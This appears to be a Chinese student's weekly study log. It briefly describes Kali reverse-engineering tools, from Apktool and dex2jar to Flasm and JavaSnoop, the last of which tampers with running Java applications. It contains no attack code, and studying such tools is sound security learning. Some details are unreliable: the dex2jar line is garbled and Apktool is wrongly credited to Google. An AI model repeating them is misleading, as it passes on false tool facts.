(5)Recstudio2
(6)Apktool
APKTool是GOOGLE提供的APK编译工具,能够反编译及回编译apk,同时安装反编译系统apk所需要的framework-res框架。
(7)Clang、Clang++
Clang是一个C语言、C++、Objective C++语言的轻量级编译器。
(8)D2j-dex2jar
范便于idex文件到jar文件,进而可以用其他工具查看源代码。
(9)Flasm
主要功能是用于直接修改swf文件里的脚本actionscript。
swf转fla文件的软件不能确保100%还原,如果只是修改as脚本代码,flasm是最佳的选择,因为他只修改脚本,资源数据不做修改。目前flasm支持破解flash8和低于flash8格式的swf文件。
(10)Javasnoop
是一个java应用程序安全测试工具,允许你以拦截的方法,篡改数据和hack运行在你计算机上的java应用程序。通常在没有源代码的情况下,测试java客户端的安全性最好的结果是不可预知的,最坏的结果是不切实际的。
在有源代码的情况下,你可以运行一个简单的java程序和远程附加一个调试器调试它,单步运行、根据需要改变变量,但对于一个applet来说要想做到这一点是有点困难的。有时,你可能需要修改客户端和服务器之间的通信,一般的做法是在客户端配置一个代理,在代理上修改数据。问题的关键是,通信数据通常不是明文的,它可能使用了自定义的协议、序列化的对象,加密的数据或者多种方式混合应用,这样要想修改通信过程中的数据是比较困难的。JavaSnoop这个工具就试图来解决这些问题,它允许你直接附加到一个运行中的进程,类似于调试器,然后,立即篡改方法调用、运行自定义代码或者仅仅监视在系统中发生了什么。
本周学习进度
完成了课本第八章的学习,完成了kali第31~35集的学习。